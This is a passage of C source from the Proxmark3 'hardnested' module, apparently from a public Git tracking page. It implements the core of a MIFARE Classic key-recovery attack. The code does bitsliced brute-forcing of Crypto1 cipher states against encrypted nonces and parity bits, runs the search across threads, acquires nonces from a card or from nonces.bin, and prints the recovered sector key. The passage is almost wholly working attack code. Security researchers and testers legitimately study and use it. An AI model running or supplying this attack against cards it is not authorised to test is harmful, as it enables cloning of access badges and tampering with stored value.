1415 #ifdef EXACT_COUNT
1416 bucket_size[bitsliced_blocks] = max_slices;
1417 #endif
1418 for(size_t slice_idx = 0; slice_idx < max_slices; ++slice_idx){
1419 uint32_t e = *(p_even+slice_idx);
1420 for(size_t bit_idx = 1; bit_idx < STATE_SIZE; bit_idx+=2, e >>= 1){
1421 // set even bits
1422 if(e&1){
1423 lstate_p[bit_idx].bytes64[slice_idx>>6] |= 1ull << (slice_idx&63);
1424 }
1425 }
1426 }
1427 // compute the rollback bits
1428 for(size_t rollback = 0; rollback < ROLLBACK_SIZE; ++rollback){
1429 // inlined crypto1_bs_lfsr_rollback
1430 const bitslice_value_t feedout = lstate_p[0].value;
1431 ++lstate_p;
1432 const bitslice_value_t ks_bits = crypto1_bs_f20(lstate_p);
1433 const bitslice_value_t feedback = (feedout ^ ks_bits ^ lstate_p[47- 5].value ^ lstate_p[47- 9].value ^
1434 lstate_p[47-10].value ^ lstate_p[47-12].value ^ lstate_p[47-14].value ^
1435 lstate_p[47-15].value ^ lstate_p[47-17].value ^ lstate_p[47-19].value ^
1436 lstate_p[47-24].value ^ lstate_p[47-25].value ^ lstate_p[47-27].value ^
1437 lstate_p[47-29].value ^ lstate_p[47-35].value ^ lstate_p[47-39].value ^
1438 lstate_p[47-41].value ^ lstate_p[47-42].value ^ lstate_p[47-43].value);
1439 lstate_p[47].value = feedback ^ bitsliced_rollback_byte[rollback].value;
1440 }
1441 bitsliced_even_states[bitsliced_blocks++] = lstate_p;
1442 }
1443
1444 // bitslice every odd state to every block of even half-states with half-finished rollback
1445 for(uint32_t const * restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE]+p->len[ODD_STATE]; ++p_odd){
1446 // early abort
1447 if(keys_found){
1448 goto out;
1449 }
1450
1451 // set the odd bits and compute rollback
1452 uint64_t o = (uint64_t) *p_odd;
1453 lfsr_rollback_byte((struct Crypto1State*) &o, 0, 1);
1454 // pre-compute part of the odd feedback bits (minus rollback)
1455 bool odd_feedback_bit = parity(o&0x9ce5c);
1456
1457 crypto1_bs_rewind_a0();
1458 // set odd bits
1459 for(size_t state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; o >>= 1, state_idx+=2){
1460 if(o & 1){
1461 state_p[state_idx] = bs_ones;
1462 } else {
1463 state_p[state_idx] = bs_zeroes;
1464 }
1465 }
1466 const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
1467
1468 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1469 const bitslice_t const * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
1470 size_t state_idx;
1471 // set even bits
1472 for(state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; state_idx+=2){
1473 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1474 }
1475 // set rollback bits
1476 uint64_t lo = o;
1477 for(; state_idx < STATE_SIZE; lo >>= 1, state_idx+=2){
1478 // set the odd bits and take in the odd rollback bits from the even states
1479 if(lo & 1){
1480 state_p[state_idx].value = ~bitsliced_even_state[state_idx].value;
1481 } else {
1482 state_p[state_idx] = bitsliced_even_state[state_idx];
1483 }
1484
1485 // set the even bits and take in the even rollback bits from the odd states
1486 if((lo >> 32) & 1){
1487 state_p[1+state_idx].value = ~bitsliced_even_state[1+state_idx].value;
1488 } else {
1489 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1490 }
1491 }
1492
1493 #ifdef EXACT_COUNT
1494 bucket_states_tested += bucket_size[block_idx];
1495 #endif
1496 // pre-compute first keystream and feedback bit vectors
1497 const bitslice_value_t ksb = crypto1_bs_f20(state_p);
1498 const bitslice_value_t fbb = (odd_feedback ^ state_p[47- 0].value ^ state_p[47- 5].value ^ // take in the even and rollback bits
1499 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1500 state_p[47-24].value ^ state_p[47-42].value);
1501
1502 // vector to contain test results (1 = passed, 0 = failed)
1503 bitslice_t results = bs_ones;
1504
1505 for(size_t tests = 0; tests < NONCE_TESTS; ++tests){
1506 size_t parity_bit_idx = 0;
1507 bitslice_value_t fb_bits = fbb;
1508 bitslice_value_t ks_bits = ksb;
1509 state_p = &states[KEYSTREAM_SIZE-1];
1510 bitslice_value_t parity_bit_vector = bs_zeroes.value;
1511
1512 // highest bit is transmitted/received first
1513 for(int32_t ks_idx = KEYSTREAM_SIZE-1; ks_idx >= 0; --ks_idx, --state_p){
1514 // decrypt nonce bits
1515 const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
1516 const bitslice_value_t decrypted_nonce_bit_vector = (encrypted_nonce_bit_vector ^ ks_bits);
1517
1518 // compute real parity bits on the fly
1519 parity_bit_vector ^= decrypted_nonce_bit_vector;
1520
1521 // update state
1522 state_p[0].value = (fb_bits ^ decrypted_nonce_bit_vector);
1523
1524 // compute next keystream bit
1525 ks_bits = crypto1_bs_f20(state_p);
1526
1527 // for each byte:
1528 if((ks_idx&7) == 0){
1529 // get encrypted parity bits
1530 const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
1531
1532 // decrypt parity bits
1533 const bitslice_value_t decrypted_parity_bit_vector = (encrypted_parity_bit_vector ^ ks_bits);
1534
1535 // compare actual parity bits with decrypted parity bits and take count in results vector
1536 results.value &= (parity_bit_vector ^ decrypted_parity_bit_vector);
1537
1538 // make sure we still have a match in our set
1539 // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
1540
1541 // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
1542 // the short-circuiting also helps
1543 if(results.bytes64[0] == 0
1544 #if MAX_BITSLICES > 64
1545 && results.bytes64[1] == 0
1546 #endif
1547 #if MAX_BITSLICES > 128
1548 && results.bytes64[2] == 0
1549 && results.bytes64[3] == 0
1550 #endif
1551 ){
1552 goto stop_tests;
1553 }
1554 // this is about as fast but less portable (requires -std=gnu99)
1555 // asm goto ("ptest %1, %0\n\t"
1556 // "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
1557 parity_bit_vector = bs_zeroes.value;
1558 }
1559 // compute next feedback bit vector
1560 fb_bits = (state_p[47- 0].value ^ state_p[47- 5].value ^ state_p[47- 9].value ^
1561 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1562 state_p[47-15].value ^ state_p[47-17].value ^ state_p[47-19].value ^
1563 state_p[47-24].value ^ state_p[47-25].value ^ state_p[47-27].value ^
1564 state_p[47-29].value ^ state_p[47-35].value ^ state_p[47-39].value ^
1565 state_p[47-41].value ^ state_p[47-42].value ^ state_p[47-43].value);
1566 }
1567 }
1568 // all nonce tests were successful: we've found the key in this block!
1569 state_t keys[MAX_BITSLICES];
1570 crypto1_bs_convert_states(&states[KEYSTREAM_SIZE], keys);
1571 for(size_t results_idx = 0; results_idx < MAX_BITSLICES; ++results_idx){
1572 if(get_vector_bit(results_idx, results)){
1573 key = keys[results_idx].value;
1574 goto out;
1575 }
1576 }
1577 stop_tests:
1578 // prepare to set new states
1579 crypto1_bs_rewind_a0();
1580 continue;
1581 }
1582 }
1583
1584 out:
1585 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1586
1587 #ifdef __WIN32
1588 #ifdef __MINGW32__
1589 __mingw_aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1590 #else
1591 _aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1592 #endif
1593 #else
1594 free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1595 #endif
1596
1597 }
1598 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1599 return key;
1600 }
1601
1602 static void* crack_states_thread(void* x){
1603 const size_t thread_id = (size_t)x;
1604 size_t current_bucket = thread_id;
1605 while(current_bucket < bucket_count){
1606 statelist_t * bucket = buckets[current_bucket];
1607 if(bucket){
1608 const uint64_t key = crack_states_bitsliced(bucket);
1609 if(key != -1){
1610 __sync_fetch_and_add(&keys_found, 1);
1611 __sync_fetch_and_add(&foundkey, key);
1612 break;
1613 } else if(keys_found){
1614 break;
1615 } else {
1616 printf(".");
1617 fflush(stdout);
1618 }
1619 }
1620 current_bucket += thread_count;
1621 }
1622 return NULL;
1623 }
1624
1625 static void brute_force(void)
1626 {
1627 if (known_target_key != -1) {
1628 PrintAndLog("Looking for known target key in remaining key space...");
1629 TestIfKeyExists(known_target_key);
1630 } else {
1631 PrintAndLog("Brute force phase starting.");
1632 time_t start, end;
1633 time(&start);
1634 keys_found = 0;
1635
1636 crypto1_bs_init();
1637
1638 PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES);
1639 PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02x...", best_first_bytes[0]^(cuid>>24));
1640 // convert to 32 bit little-endian
1641 crypto1_bs_bitslice_value32((best_first_bytes[0]<<24)^cuid, bitsliced_rollback_byte, 8);
1642
1643 PrintAndLog("Bitslicing nonces...");
1644 for(size_t tests = 0; tests < NONCE_TESTS; tests++){
1645 uint32_t test_nonce = brute_force_nonces[tests]->nonce_enc;
1646 uint8_t test_parity = brute_force_nonces[tests]->par_enc;
1647 // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
1648 crypto1_bs_bitslice_value32(cuid^test_nonce, bitsliced_encrypted_nonces[tests], 32);
1649 // convert to 32 bit little-endian
1650 crypto1_bs_bitslice_value32(rev32( ~(test_parity ^ ~(parity(cuid>>24 & 0xff)<<3 | parity(cuid>>16 & 0xff)<<2 | parity(cuid>>8 & 0xff)<<1 | parity(cuid&0xff)))), bitsliced_encrypted_parity_bits[tests], 4);
1651 }
1652 total_states_tested = 0;
1653
1654 // count number of states to go
1655 bucket_count = 0;
1656 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1657 buckets[bucket_count] = p;
1658 bucket_count++;
1659 }
1660
1661 #ifndef __WIN32
1662 thread_count = sysconf(_SC_NPROCESSORS_CONF);
1663 if ( thread_count < 1)
1664 thread_count = 1;
1665 #endif /* _WIN32 */
1666
1667 pthread_t threads[thread_count];
1668
1669 // enumerate states using all hardware threads, each thread handles one bucket
1670 PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %"PRIu32" states...", thread_count, bucket_count, maximum_states);
1671
1672 for(size_t i = 0; i < thread_count; i++){
1673 pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
1674 }
1675 for(size_t i = 0; i < thread_count; i++){
1676 pthread_join(threads[i], 0);
1677 }
1678
1679 time(&end);
1680 unsigned long elapsed_time = difftime(end, start);
1681 if(keys_found){
1682 PrintAndLog("Success! Tested %"PRIu32" states, found %u keys after %u seconds", total_states_tested, keys_found, elapsed_time);
1683 PrintAndLog("\nFound key: %012"PRIx64"\n", foundkey);
1684 } else {
1685 PrintAndLog("Fail! Tested %"PRIu32" states, in %u seconds", total_states_tested, elapsed_time);
1686 }
1687 // reset this counter for the next call
1688 nonces_to_bruteforce = 0;
1689 }
1690 }
1691
1692 int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests)
1693 {
1694 // initialize Random number generator
1695 time_t t;
1696 srand((unsigned) time(&t));
1697
1698 if (trgkey != NULL) {
1699 known_target_key = bytes_to_num(trgkey, 6);
1700 } else {
1701 known_target_key = -1;
1702 }
1703
1704 init_partial_statelists();
1705 init_BitFlip_statelist();
1706 write_stats = false;
1707
1708 if (tests) {
1709 // set the correct locale for the stats printing
1710 setlocale(LC_ALL, "");
1711 write_stats = true;
1712 if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) {
1713 PrintAndLog("Could not create/open file hardnested_stats.txt");
1714 return 3;
1715 }
1716 for (uint32_t i = 0; i < tests; i++) {
1717 init_nonce_memory();
1718 simulate_acquire_nonces();
1719 Tests();
1720 printf("Sum(a0) = %d\n", first_byte_Sum);
1721 fprintf(fstats, "%d;", first_byte_Sum);
1722 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1723 brute_force();
1724 free_nonces_memory();
1725 free_statelist_cache();
1726 free_candidates_memory(candidates);
1727 candidates = NULL;
1728 }
1729 fclose(fstats);
1730 } else {
1731 init_nonce_memory();
1732 if (nonce_file_read) { // use pre-acquired data from file nonces.bin
1733 if (read_nonce_file() != 0) {
1734 return 3;
1735 }
1736 Check_for_FilterFlipProperties();
1737 num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED);
1738 } else { // acquire nonces.
1739 uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow);
1740 if (is_OK != 0) {
1741 return is_OK;
1742 }
1743 }
1744
1745 //Tests();
1746
1747 PrintAndLog("");
1748 PrintAndLog("Sum(a0) = %d", first_byte_Sum);
1749 // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x",
1750 // best_first_bytes[0],
1751 // best_first_bytes[1],
1752 // best_first_bytes[2],
1753 // best_first_bytes[3],
1754 // best_first_bytes[4],
1755 // best_first_bytes[5],
1756 // best_first_bytes[6],
1757 // best_first_bytes[7],
1758 // best_first_bytes[8],
1759 // best_first_bytes[9] );
1760 PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes);
1761
1762 clock_t time1 = clock();
1763 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1764 time1 = clock() - time1;
1765 if ( time1 > 0 )
1766 PrintAndLog("Time for generating key candidates list: %1.0f seconds", ((float)time1)/CLOCKS_PER_SEC);
1767
1768 brute_force();
1769 free_nonces_memory();
1770 free_statelist_cache();
1771 free_candidates_memory(candidates);
1772 candidates = NULL;
1773 }
1774 return 0;
1775 }
1776
1777
Proxmark3 GIT tracking
Impressum, Datenschutz